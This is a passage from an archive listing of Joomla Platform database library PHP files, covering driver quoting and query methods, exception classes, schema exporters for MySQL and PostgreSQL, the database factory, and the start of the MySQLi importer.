* @return JDatabaseDriver Returns this object to support chaining.
*
* @since 2.5.0
* @throws RuntimeException
*/
abstract public function lockTable($tableName);
/**
* Quotes and optionally escapes a string to database requirements for use
in database queries.
*
* @param mixed $text A string or an array of strings to quote.
* @param boolean $escape True (default) to escape the string, false
to leave it unchanged.
*
* @return string|array The quoted input.
*
* @note Accepting an array of strings was added in 12.3.
* @since 1.7.0
*/
public function quote($text, $escape = true)
{
if (is_array($text))
{
foreach ($text as $k => $v)
{
$text[$k] = $this->quote($v, $escape);
}
return $text;
}
else
{
return '\'' . ($escape ? $this->escape($text) : $text)
. '\'';
}
}
/**
* Quotes a binary string to database requirements for use in database
queries.
*
* @param mixed $data A binary string to quote.
*
* @return string The binary quoted input string.
*
* @since 3.9.12
*/
public function quoteBinary($data)
{
// SQL standard syntax for hexadecimal literals
return "X'" . bin2hex($data) . "'";
}
/**
* Wrap an SQL statement identifier name such as column, table or database
names in quotes to prevent injection
* risks and reserved word conflicts.
*
* @param mixed $name The identifier name to wrap in quotes, or an
array of identifier names to wrap in quotes.
* Each type supports dot-notation name.
* @param mixed $as The AS query part associated to $name. It can be
string or array, in latter case it has to be
* same length of $name; if is null there will not
be any AS part for string or array element.
*
* @return mixed The quote wrapped name, same type of $name.
*
* @since 1.7.0
*/
public function quoteName($name, $as = null)
{
if (is_string($name))
{
$quotedName = $this->quoteNameStr(explode('.', $name));
$quotedAs = '';
if (!is_null($as))
{
settype($as, 'array');
$quotedAs .= ' AS ' . $this->quoteNameStr($as);
}
return $quotedName . $quotedAs;
}
else
{
$fin = array();
if (is_null($as))
{
foreach ($name as $str)
{
$fin[] = $this->quoteName($str);
}
}
elseif (is_array($name) && (count($name) == count($as)))
{
$count = count($name);
for ($i = 0; $i < $count; $i++)
{
$fin[] = $this->quoteName($name[$i], $as[$i]);
}
}
return $fin;
}
}
/**
* Quote strings coming from quoteName call.
*
* @param array $strArr Array of strings coming from quoteName
dot-explosion.
*
* @return string Dot-imploded string of quoted parts.
*
* @since 1.7.3
*/
protected function quoteNameStr($strArr)
{
$parts = array();
$q = $this->nameQuote;
foreach ($strArr as $part)
{
if (is_null($part))
{
continue;
}
if (strlen($q) == 1)
{
$parts[] = $q . str_replace($q, $q . $q, $part) . $q;
}
else
{
$parts[] = $q[0] . str_replace($q[1], $q[1] . $q[1], $part) . $q[1];
}
}
return implode('.', $parts);
}
/**
* This function replaces a string identifier
<var>$prefix</var> with the string held is the
* <var>tablePrefix</var> class variable.
*
* @param string $sql The SQL statement to prepare.
* @param string $prefix The common table prefix.
*
* @return string The processed SQL statement.
*
* @since 1.7.0
*/
public function replacePrefix($sql, $prefix = '#__')
{
$startPos = 0;
$literal = '';
$sql = trim($sql);
$n = strlen($sql);
while ($startPos < $n)
{
$ip = strpos($sql, $prefix, $startPos);
if ($ip === false)
{
break;
}
$j = strpos($sql, "'", $startPos);
$k = strpos($sql, '"', $startPos);
if (($k !== false) && (($k < $j) || ($j === false)))
{
$quoteChar = '"';
$j = $k;
}
else
{
$quoteChar = "'";
}
if ($j === false)
{
$j = $n;
}
$literal .= str_replace($prefix, $this->tablePrefix, substr($sql,
$startPos, $j - $startPos));
$startPos = $j;
$j = $startPos + 1;
if ($j >= $n)
{
break;
}
// Quote comes first, find end of quote
while (true)
{
$k = strpos($sql, $quoteChar, $j);
$escaped = false;
if ($k === false)
{
break;
}
$l = $k - 1;
while ($l >= 0 && $sql[$l] == '\\')
{
$l--;
$escaped = !$escaped;
}
if ($escaped)
{
$j = $k + 1;
continue;
}
break;
}
if ($k === false)
{
// Error in the query - no end quote; ignore it
break;
}
$literal .= substr($sql, $startPos, $k - $startPos + 1);
$startPos = $k + 1;
}
if ($startPos < $n)
{
$literal .= substr($sql, $startPos, $n - $startPos);
}
return $literal;
}
/**
* Renames a table in the database.
*
* @param string $oldTable The name of the table to be renamed
* @param string $newTable The new name for the table.
* @param string $backup Table prefix
* @param string $prefix For the table - used to rename constraints
in non-mysql databases
*
* @return JDatabaseDriver Returns this object to support chaining.
*
* @since 2.5.0
* @throws RuntimeException
*/
abstract public function renameTable($oldTable, $newTable, $backup = null,
$prefix = null);
/**
* Select a database for use.
*
* @param string $database The name of the database to select for use.
*
* @return boolean True if the database was successfully selected.
*
* @since 1.7.0
* @throws RuntimeException
*/
abstract public function select($database);
/**
* Sets the database debugging state for the driver.
*
* @param boolean $level True to enable debugging.
*
* @return boolean The old debugging level.
*
* @since 1.7.0
* @deprecated 4.0 This will be removed in Joomla 4 without replacement
*/
public function setDebug($level)
{
$previous = $this->debug;
$this->debug = (bool) $level;
return $previous;
}
/**
* Sets the SQL statement string for later execution.
*
* @param mixed $query The SQL statement to set either as a
JDatabaseQuery object or a string.
* @param integer $offset The affected row offset to set.
* @param integer $limit The maximum affected rows to set.
*
* @return JDatabaseDriver This object to support method chaining.
*
* @since 1.7.0
*/
public function setQuery($query, $offset = 0, $limit = 0)
{
$this->sql = $query;
if ($query instanceof JDatabaseQueryLimitable)
{
if (!$limit && $query->limit)
{
$limit = $query->limit;
}
if (!$offset && $query->offset)
{
$offset = $query->offset;
}
$query->setLimit($limit, $offset);
}
else
{
$this->limit = (int) max(0, $limit);
$this->offset = (int) max(0, $offset);
}
return $this;
}
/**
* Set the connection to use UTF-8 character encoding.
*
* @return boolean True on success.
*
* @since 1.7.0
*/
abstract public function setUtf();
/**
* Method to commit a transaction.
*
* @param boolean $toSavepoint If true, commit to the last savepoint.
*
* @return void
*
* @since 1.7.0
* @throws RuntimeException
*/
abstract public function transactionCommit($toSavepoint = false);
/**
* Method to roll back a transaction.
*
* @param boolean $toSavepoint If true, rollback to the last
savepoint.
*
* @return void
*
* @since 1.7.0
* @throws RuntimeException
*/
abstract public function transactionRollback($toSavepoint = false);
/**
* Method to initialize a transaction.
*
* @param boolean $asSavepoint If true and a transaction is already
active, a savepoint will be created.
*
* @return void
*
* @since 1.7.0
* @throws RuntimeException
*/
abstract public function transactionStart($asSavepoint = false);
/**
* Method to truncate a table.
*
* @param string $table The table to truncate
*
* @return void
*
* @since 1.7.3
* @throws RuntimeException
*/
public function truncateTable($table)
{
$this->setQuery('TRUNCATE TABLE ' .
$this->quoteName($table));
$this->execute();
}
/**
* Updates a row in a table based on an object's properties.
*
* @param string $table The name of the database table to
update.
* @param object &$object A reference to an object whose
public properties match the table fields.
* @param array|string $key The name of the primary key.
* @param boolean $nulls True to update null fields or false to
ignore them.
*
* @return boolean True on success.
*
* @since 1.7.0
* @throws RuntimeException
*/
public function updateObject($table, &$object, $key, $nulls = false)
{
$fields = array();
$where = array();
if (is_string($key))
{
$key = array($key);
}
if (is_object($key))
{
$key = (array) $key;
}
// Create the base update statement.
$statement = 'UPDATE ' . $this->quoteName($table) . '
SET %s WHERE %s';
// Iterate over the object variables to build the query fields/value
pairs.
foreach (get_object_vars($object) as $k => $v)
{
// Only process scalars that are not internal fields.
if (is_array($v) || is_object($v) || $k[0] === '_')
{
continue;
}
// Set the primary key to the WHERE clause instead of a field to update.
if (in_array($k, $key))
{
$where[] = $this->quoteName($k) . ($v === null ? ' IS
NULL' : ' = ' . $this->quote($v));
continue;
}
// Prepare and sanitize the fields and values for the database query.
if ($v === null)
{
// If the value is null and we want to update nulls then set it.
if ($nulls)
{
$val = 'NULL';
}
// If the value is null and we do not want to update nulls then ignore
this field.
else
{
continue;
}
}
// The field is not null so we prep it for update.
else
{
$val = $this->quote($v);
}
// Add the field to be updated.
$fields[] = $this->quoteName($k) . '=' . $val;
}
// We don't have any fields to update.
if (empty($fields))
{
return true;
}
// Set the query and execute the update.
$this->setQuery(sprintf($statement, implode(',', $fields),
implode(' AND ', $where)));
return $this->execute();
}
/**
* Execute the SQL statement.
*
* @return mixed A database cursor resource on success, boolean false on
failure.
*
* @since 3.0.0
* @throws RuntimeException
*/
abstract public function execute();
/**
* Unlocks tables in the database.
*
* @return JDatabaseDriver Returns this object to support chaining.
*
* @since 2.5.0
* @throws RuntimeException
*/
abstract public function unlockTables();
}
database/exception/connecting.php000064400000000665151171674070013166
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Database
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Exception class defining an error connecting to the database platform
*
* @since 3.6
*/
class JDatabaseExceptionConnecting extends RuntimeException
{
}
database/exception/executing.php000064400000002332151171674070013023
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Database
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Exception class defining an error executing a statement
*
* @since 3.6
*/
class JDatabaseExceptionExecuting extends RuntimeException
{
/**
* The SQL statement that was executed.
*
* @var string
* @since 3.6
*/
private $query;
/**
* Construct the exception
*
* @param string $query The SQL statement that was executed.
* @param string $message The Exception message to throw.
[optional]
* @param integer $code The Exception code. [optional]
* @param Exception $previous The previous exception used for the
exception chaining. [optional]
*
* @since 3.6
*/
public function __construct($query, $message = '', $code = 0,
Exception $previous = null)
{
parent::__construct($message, $code, $previous);
$this->query = $query;
}
/**
* Get the SQL statement that was executed
*
* @return string
*
* @since 3.6
*/
public function getQuery()
{
return $this->query;
}
}
database/exception/unsupported.php000064400000000650151171674070013421
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Database
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Exception class defining an unsupported database object
*
* @since 3.6
*/
class JDatabaseExceptionUnsupported extends RuntimeException
{
}
database/exporter/mysql.php000064400000002016151171674070012046
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Database
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* MySQL export driver.
*
* @since 1.7.0
* @deprecated 4.0 Use MySQLi or PDO MySQL instead
*/
class JDatabaseExporterMysql extends JDatabaseExporterMysqli
{
/**
* Checks if all data and options are in order prior to exporting.
*
* @return JDatabaseExporterMysql Method supports chaining.
*
* @since 1.7.0
* @throws Exception if an error is encountered.
*/
public function check()
{
// Check if the db connector has been set.
if (!($this->db instanceof JDatabaseDriverMysql))
{
throw new
Exception('JPLATFORM_ERROR_DATABASE_CONNECTOR_WRONG_TYPE');
}
// Check if the tables have been specified.
if (empty($this->from))
{
throw new Exception('JPLATFORM_ERROR_NO_TABLES_SPECIFIED');
}
return $this;
}
}
database/exporter/mysqli.php000064400000005613151171674070012225
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Database
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* MySQLi export driver.
*
* @since 1.7.0
*/
class JDatabaseExporterMysqli extends JDatabaseExporter
{
/**
* Builds the XML data for the tables to export.
*
* @return string An XML string
*
* @since 1.7.0
* @throws Exception if an error occurs.
*/
protected function buildXml()
{
$buffer = array();
$buffer[] = '<?xml version="1.0"?>';
$buffer[] = '<mysqldump
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">';
$buffer[] = ' <database name="">';
$buffer = array_merge($buffer, $this->buildXmlStructure());
$buffer[] = ' </database>';
$buffer[] = '</mysqldump>';
return implode("\n", $buffer);
}
/**
* Builds the XML structure to export.
*
* @return array An array of XML lines (strings).
*
* @since 1.7.0
* @throws Exception if an error occurs.
*/
protected function buildXmlStructure()
{
$buffer = array();
foreach ($this->from as $table)
{
// Replace the magic prefix if found.
$table = $this->getGenericTableName($table);
// Get the details columns information.
$fields = $this->db->getTableColumns($table, false);
$keys = $this->db->getTableKeys($table);
$buffer[] = ' <table_structure name="' . $table .
'">';
foreach ($fields as $field)
{
$buffer[] = ' <field Field="' . $field->Field .
'"' . ' Type="' . $field->Type .
'"' . ' Null="' . $field->Null .
'"' . ' Key="' .
$field->Key . '"' . (isset($field->Default) ?
' Default="' . $field->Default . '"' :
'') . ' Extra="' . $field->Extra .
'"' .
' />';
}
foreach ($keys as $key)
{
$buffer[] = ' <key Table="' . $table .
'"' . ' Non_unique="' . $key->Non_unique .
'"' . ' Key_name="' . $key->Key_name .
'"' .
' Seq_in_index="' . $key->Seq_in_index .
'"' . ' Column_name="' . $key->Column_name
. '"' . ' Collation="' . $key->Collation .
'"' .
' Null="' . $key->Null . '"' . '
Index_type="' . $key->Index_type . '"' .
' Comment="' . htmlspecialchars($key->Comment,
ENT_COMPAT, 'UTF-8') . '"' . ' />';
}
$buffer[] = ' </table_structure>';
}
return $buffer;
}
/**
* Checks if all data and options are in order prior to exporting.
*
* @return JDatabaseExporterMysqli Method supports chaining.
*
* @since 1.7.0
* @throws Exception if an error is encountered.
*/
public function check()
{
// Check if the db connector has been set.
if (!($this->db instanceof JDatabaseDriverMysqli))
{
throw new
Exception('JPLATFORM_ERROR_DATABASE_CONNECTOR_WRONG_TYPE');
}
// Check if the tables have been specified.
if (empty($this->from))
{
throw new Exception('JPLATFORM_ERROR_NO_TABLES_SPECIFIED');
}
return $this;
}
}
database/exporter/pdomysql.php000064400000005764151171674070012566
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Database
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* MySQL export driver for the PDO based MySQL database driver.
*
* @package Joomla.Platform
* @subpackage Database
* @since 3.4
*/
class JDatabaseExporterPdomysql extends JDatabaseExporter
{
/**
* Builds the XML data for the tables to export.
*
* @return string An XML string
*
* @since 3.4
* @throws Exception if an error occurs.
*/
protected function buildXml()
{
$buffer = array();
$buffer[] = '<?xml version="1.0"?>';
$buffer[] = '<mysqldump
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">';
$buffer[] = ' <database name="">';
$buffer = array_merge($buffer, $this->buildXmlStructure());
$buffer[] = ' </database>';
$buffer[] = '</mysqldump>';
return implode("\n", $buffer);
}
/**
* Builds the XML structure to export.
*
* @return array An array of XML lines (strings).
*
* @since 3.4
* @throws Exception if an error occurs.
*/
protected function buildXmlStructure()
{
$buffer = array();
foreach ($this->from as $table)
{
// Replace the magic prefix if found.
$table = $this->getGenericTableName($table);
// Get the details columns information.
$fields = $this->db->getTableColumns($table, false);
$keys = $this->db->getTableKeys($table);
$buffer[] = ' <table_structure name="' . $table .
'">';
foreach ($fields as $field)
{
$buffer[] = ' <field Field="' . $field->Field .
'"' . ' Type="' . $field->Type .
'"' . ' Null="' . $field->Null .
'"' . ' Key="' .
$field->Key . '"' . (isset($field->Default) ?
' Default="' . $field->Default . '"' :
'') . ' Extra="' . $field->Extra .
'"' .
' />';
}
foreach ($keys as $key)
{
$buffer[] = ' <key Table="' . $table .
'"' . ' Non_unique="' . $key->Non_unique .
'"' . ' Key_name="' . $key->Key_name .
'"' .
' Seq_in_index="' . $key->Seq_in_index .
'"' . ' Column_name="' . $key->Column_name
. '"' . ' Collation="' . $key->Collation .
'"' .
' Null="' . $key->Null . '"' . '
Index_type="' . $key->Index_type . '"' .
' Comment="' . htmlspecialchars($key->Comment,
ENT_COMPAT, 'UTF-8') . '"' . ' />';
}
$buffer[] = ' </table_structure>';
}
return $buffer;
}
/**
* Checks if all data and options are in order prior to exporting.
*
* @return JDatabaseExporterPdomysql Method supports chaining.
*
* @since 3.4
* @throws Exception if an error is encountered.
*/
public function check()
{
// Check if the db connector has been set.
if (!($this->db instanceof JDatabaseDriverPdomysql))
{
throw new
Exception('JPLATFORM_ERROR_DATABASE_CONNECTOR_WRONG_TYPE');
}
// Check if the tables have been specified.
if (empty($this->from))
{
throw new Exception('JPLATFORM_ERROR_NO_TABLES_SPECIFIED');
}
return $this;
}
}
database/exporter/pgsql.php000064400000001746151171674070012040
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Database
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* PDO PostgreSQL Database Exporter.
*
* @since 3.9.0
*/
class JDatabaseExporterPgsql extends JDatabaseExporterPostgresql
{
/**
* Checks if all data and options are in order prior to exporting.
*
* @return JDatabaseExporterPgsql Method supports chaining.
*
* @since 3.9.0
* @throws \Exception if an error is encountered.
*/
public function check()
{
// Check if the db connector has been set.
if (!($this->db instanceof JDatabaseDriverPgsql))
{
throw new
Exception('JPLATFORM_ERROR_DATABASE_CONNECTOR_WRONG_TYPE');
}
// Check if the tables have been specified.
if (empty($this->from))
{
throw new Exception('JPLATFORM_ERROR_NO_TABLES_SPECIFIED');
}
return $this;
}
}
database/exporter/postgresql.php000064400000007021151171674070013105
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Database
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* PostgreSQL export driver.
*
* @since 3.0.0
* @deprecated 4.0 Use PDO PostgreSQL instead
*
* @property-read JDatabaseDriverPostgresql $db The database connector
to use for exporting structure and/or data.
*/
class JDatabaseExporterPostgresql extends JDatabaseExporter
{
/**
* Builds the XML data for the tables to export.
*
* @return string An XML string
*
* @since 3.0.0
* @throws Exception if an error occurs.
*/
protected function buildXml()
{
$buffer = array();
$buffer[] = '<?xml version="1.0"?>';
$buffer[] = '<postgresqldump
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">';
$buffer[] = ' <database name="">';
$buffer = array_merge($buffer, $this->buildXmlStructure());
$buffer[] = ' </database>';
$buffer[] = '</postgresqldump>';
return implode("\n", $buffer);
}
/**
* Builds the XML structure to export.
*
* @return array An array of XML lines (strings).
*
* @since 3.0.0
* @throws Exception if an error occurs.
*/
protected function buildXmlStructure()
{
$buffer = array();
foreach ($this->from as $table)
{
// Replace the magic prefix if found.
$table = $this->getGenericTableName($table);
// Get the details columns information.
$fields = $this->db->getTableColumns($table, false);
$keys = $this->db->getTableKeys($table);
$sequences = $this->db->getTableSequences($table);
$buffer[] = ' <table_structure name="' . $table .
'">';
foreach ($sequences as $sequence)
{
if (version_compare($this->db->getVersion(), '9.1.0')
< 0)
{
$sequence->start_value = null;
}
$buffer[] = ' <sequence Name="' .
$sequence->sequence . '"' . ' Schema="' .
$sequence->schema . '"' .
' Table="' . $sequence->table . '"' .
' Column="' . $sequence->column . '"' .
' Type="' . $sequence->data_type . '"' .
' Start_Value="' . $sequence->start_value .
'"' . ' Min_Value="' .
$sequence->minimum_value . '"' .
' Max_Value="' . $sequence->maximum_value .
'"' . ' Increment="' .
$sequence->increment . '"' .
' Cycle_option="' . $sequence->cycle_option .
'"' .
' />';
}
foreach ($fields as $field)
{
$buffer[] = ' <field Field="' .
$field->column_name . '"' . ' Type="' .
$field->type . '"' . ' Null="' .
$field->null . '"' .
(isset($field->default) ? ' Default="' .
$field->default . '"' : '') . '
Comments="' . $field->comments . '"' .
' />';
}
foreach ($keys as $key)
{
$buffer[] = ' <key Index="' . $key->idxName .
'"' . ' is_primary="' . $key->isPrimary .
'"' . ' is_unique="' . $key->isUnique .
'"' .
' Query="' . $key->Query . '" />';
}
$buffer[] = ' </table_structure>';
}
return $buffer;
}
/**
* Checks if all data and options are in order prior to exporting.
*
* @return JDatabaseExporterPostgresql Method supports chaining.
*
* @since 3.0.0
* @throws Exception if an error is encountered.
*/
public function check()
{
// Check if the db connector has been set.
if (!($this->db instanceof JDatabaseDriverPostgresql))
{
throw new
Exception('JPLATFORM_ERROR_DATABASE_CONNECTOR_WRONG_TYPE');
}
// Check if the tables have been specified.
if (empty($this->from))
{
throw new Exception('JPLATFORM_ERROR_NO_TABLES_SPECIFIED');
}
return $this;
}
}
database/exporter.php000064400000010645151171674070010710 0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Database
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Joomla Platform Database Exporter Class
*
* @since 3.0.0
*/
abstract class JDatabaseExporter
{
/**
* The type of output format (xml).
*
* @var string
* @since 3.2.0
*/
protected $asFormat = 'xml';
/**
* An array of cached data.
*
* @var array
* @since 3.2.0
*/
protected $cache = array();
/**
* The database connector to use for exporting structure and/or data.
*
* @var JDatabaseDriver
* @since 3.2.0
*/
protected $db = null;
/**
* An array input sources (table names).
*
* @var array
* @since 3.2.0
*/
protected $from = array();
/**
* An array of options for the exporter.
*
* @var object
* @since 3.2.0
*/
protected $options = null;
/**
* Constructor.
*
* Sets up the default options for the exporter.
*
* @since 3.2.0
*/
public function __construct()
{
$this->options = new stdClass;
$this->cache = array('columns' => array(),
'keys' => array());
// Set up the class defaults:
// Export with only structure
$this->withStructure();
// Export as xml.
$this->asXml();
// Default destination is a string using $output = (string) $exporter;
}
/**
* Magic function to exports the data to a string.
*
* @return string
*
* @since 3.2.0
* @throws Exception if an error is encountered.
*/
public function __toString()
{
// Check everything is ok to run first.
$this->check();
// Get the format.
switch ($this->asFormat)
{
case 'xml':
default:
$buffer = $this->buildXml();
break;
}
return $buffer;
}
/**
* Set the output option for the exporter to XML format.
*
* @return JDatabaseExporter Method supports chaining.
*
* @since 3.2.0
*/
public function asXml()
{
$this->asFormat = 'xml';
return $this;
}
/**
* Builds the XML data for the tables to export.
*
* @return string An XML string
*
* @since 3.2.0
* @throws Exception if an error occurs.
*/
abstract protected function buildXml();
/**
* Builds the XML structure to export.
*
* @return array An array of XML lines (strings).
*
* @since 3.2.0
* @throws Exception if an error occurs.
*/
abstract protected function buildXmlStructure();
/**
* Checks if all data and options are in order prior to exporting.
*
* @return JDatabaseDriver Method supports chaining.
*
* @since 3.2.0
* @throws Exception if an error is encountered.
*/
abstract public function check();
/**
* Specifies a list of table names to export.
*
* @param mixed $from The name of a single table, or an array of the
table names to export.
*
* @return JDatabaseExporter Method supports chaining.
*
* @since 3.2.0
* @throws Exception if input is not a string or array.
*/
public function from($from)
{
if (is_string($from))
{
$this->from = array($from);
}
elseif (is_array($from))
{
$this->from = $from;
}
else
{
throw new
Exception('JPLATFORM_ERROR_INPUT_REQUIRES_STRING_OR_ARRAY');
}
return $this;
}
/**
* Get the generic name of the table, converting the database prefix to
the wildcard string.
*
* @param string $table The name of the table.
*
* @return string The name of the table with the database prefix
replaced with #__.
*
* @since 3.2.0
*/
protected function getGenericTableName($table)
{
$prefix = $this->db->getPrefix();
// Replace the magic prefix if found.
$table = preg_replace("|^$prefix|", '#__', $table);
return $table;
}
/**
* Sets the database connector to use for exporting structure and/or data
from MySQL.
*
* @param JDatabaseDriver $db The database connector.
*
* @return JDatabaseExporter Method supports chaining.
*
* @since 3.2.0
*/
public function setDbo(JDatabaseDriver $db)
{
$this->db = $db;
return $this;
}
/**
* Sets an internal option to export the structure of the input table(s).
*
* @param boolean $setting True to export the structure, false to not.
*
* @return JDatabaseExporter Method supports chaining.
*
* @since 3.2.0
*/
public function withStructure($setting = true)
{
$this->options->withStructure = (boolean) $setting;
return $this;
}
}
database/factory.php000064400000012552151171674070010506 0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Database
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Joomla Platform Database Factory class
*
* @since 3.0.0
*/
class JDatabaseFactory
{
/**
* Contains the current JDatabaseFactory instance
*
* @var JDatabaseFactory
* @since 3.0.0
*/
private static $_instance = null;
/**
* Method to return a JDatabaseDriver instance based on the given options.
There are three global options and then
* the rest are specific to the database driver. The 'database'
option determines which database is to
* be used for the connection. The 'select' option determines
whether the connector should automatically select
* the chosen database.
*
* Instances are unique to the given options and new objects are only
created when a unique options array is
* passed into the method. This ensures that we don't end up with
unnecessary database connection resources.
*
* @param string $name Name of the database driver you'd like
to instantiate
* @param array $options Parameters to be passed to the database
driver.
*
* @return JDatabaseDriver A database driver object.
*
* @since 3.0.0
* @throws RuntimeException
*/
public function getDriver($name = 'mysqli', $options = array())
{
// Sanitize the database connector options.
$options['driver'] =
preg_replace('/[^A-Z0-9_\.-]/i', '', $name);
$options['database'] = (isset($options['database']))
? $options['database'] : null;
$options['select'] = (isset($options['select'])) ?
$options['select'] : true;
// Derive the class name from the driver.
$class = 'JDatabaseDriver' .
ucfirst(strtolower($options['driver']));
// If the class still doesn't exist we have nothing left to do but
throw an exception. We did our best.
if (!class_exists($class))
{
throw new JDatabaseExceptionUnsupported(sprintf('Unable to load
Database Driver: %s', $options['driver']));
}
// Create our new JDatabaseDriver connector based on the options given.
try
{
$instance = new $class($options);
}
catch (RuntimeException $e)
{
throw new JDatabaseExceptionConnecting(sprintf('Unable to connect
to the Database: %s', $e->getMessage()), $e->getCode(), $e);
}
return $instance;
}
/**
* Gets an exporter class object.
*
* @param string $name Name of the driver you want an
exporter for.
* @param JDatabaseDriver $db Optional JDatabaseDriver instance
*
* @return JDatabaseExporter An exporter object.
*
* @since 3.0.0
* @throws RuntimeException
*/
public function getExporter($name, JDatabaseDriver $db = null)
{
// Derive the class name from the driver.
$class = 'JDatabaseExporter' . ucfirst(strtolower($name));
// Make sure we have an exporter class for this driver.
if (!class_exists($class))
{
// If it doesn't exist we are at an impasse so throw an exception.
throw new JDatabaseExceptionUnsupported('Database Exporter not
found.');
}
$o = new $class;
if ($db instanceof JDatabaseDriver)
{
$o->setDbo($db);
}
return $o;
}
/**
* Gets an importer class object.
*
* @param string $name Name of the driver you want an
importer for.
* @param JDatabaseDriver $db Optional JDatabaseDriver instance
*
* @return JDatabaseImporter An importer object.
*
* @since 3.0.0
* @throws RuntimeException
*/
public function getImporter($name, JDatabaseDriver $db = null)
{
// Derive the class name from the driver.
$class = 'JDatabaseImporter' . ucfirst(strtolower($name));
// Make sure we have an importer class for this driver.
if (!class_exists($class))
{
// If it doesn't exist we are at an impasse so throw an exception.
throw new JDatabaseExceptionUnsupported('Database importer not
found.');
}
$o = new $class;
if ($db instanceof JDatabaseDriver)
{
$o->setDbo($db);
}
return $o;
}
/**
* Gets an instance of the factory object.
*
* @return JDatabaseFactory
*
* @since 3.0.0
*/
public static function getInstance()
{
return self::$_instance ? self::$_instance : new JDatabaseFactory;
}
/**
* Get the current query object or a new JDatabaseQuery object.
*
* @param string $name Name of the driver you want an query
object for.
* @param JDatabaseDriver $db Optional JDatabaseDriver instance
*
* @return JDatabaseQuery The current query object or a new object
extending the JDatabaseQuery class.
*
* @since 3.0.0
* @throws RuntimeException
*/
public function getQuery($name, JDatabaseDriver $db = null)
{
// Derive the class name from the driver.
$class = 'JDatabaseQuery' . ucfirst(strtolower($name));
// Make sure we have a query class for this driver.
if (!class_exists($class))
{
// If it doesn't exist we are at an impasse so throw an exception.
throw new JDatabaseExceptionUnsupported('Database Query class not
found');
}
return new $class($db);
}
/**
* Gets an instance of a factory object to return on subsequent calls of
getInstance.
*
* @param JDatabaseFactory $instance A JDatabaseFactory object.
*
* @return void
*
* @since 3.0.0
*/
public static function setInstance(JDatabaseFactory $instance = null)
{
self::$_instance = $instance;
}
}
database/importer/mysql.php000064400000002016151171674070012037
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Database
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* MySQL import driver.
*
* @since 1.7.0
* @deprecated 4.0 Use MySQLi or PDO MySQL instead
*/
class JDatabaseImporterMysql extends JDatabaseImporterMysqli
{
/**
* Checks if all data and options are in order prior to exporting.
*
* @return JDatabaseImporterMysql Method supports chaining.
*
* @since 1.7.0
* @throws Exception if an error is encountered.
*/
public function check()
{
// Check if the db connector has been set.
if (!($this->db instanceof JDatabaseDriverMysql))
{
throw new
Exception('JPLATFORM_ERROR_DATABASE_CONNECTOR_WRONG_TYPE');
}
// Check if the tables have been specified.
if (empty($this->from))
{
throw new Exception('JPLATFORM_ERROR_NO_TABLES_SPECIFIED');
}
return $this;
}
}
database/importer/mysqli.php000064400000026711151171674070012220
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Database
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* MySQLi import driver.
*
* @since 1.7.0
*/
class JDatabaseImporterMysqli extends JDatabaseImporter
{
/**
* Checks if all data and options are in order prior to exporting.
*
* @return JDatabaseImporterMysqli Method supports chaining.
*
* @since 1.7.0
* @throws Exception if an error is encountered.
*/
public function check()
{
// Check if the db connector has been set.
if (!($this->db instanceof JDatabaseDriverMysqli))
{
throw new
Exception('JPLATFORM_ERROR_DATABASE_CONNECTOR_WRONG_TYPE');
}
// Check if the tables have been specified.
if (empty($this->from))
{
throw new Exception('JPLATFORM_ERROR_NO_TABLES_SPECIFIED');
}
return $this;
}
/**
* Get the SQL syntax to add a table.
*
* @param SimpleXMLElement $table The table information.
*
* @return string
*
* @since 1.7.0
* @throws RuntimeException
*/
protected function xmlToCreate(SimpleXMLElement $table)
{
$existingTables = $this->db->getTableList();
$tableName = (string) $table['name'];
if (in_array($tableName, $existingTables))
{
throw new RuntimeException('The table you are trying to create
already exists');
}
$createTableStatement = 'CREATE TABLE ' .
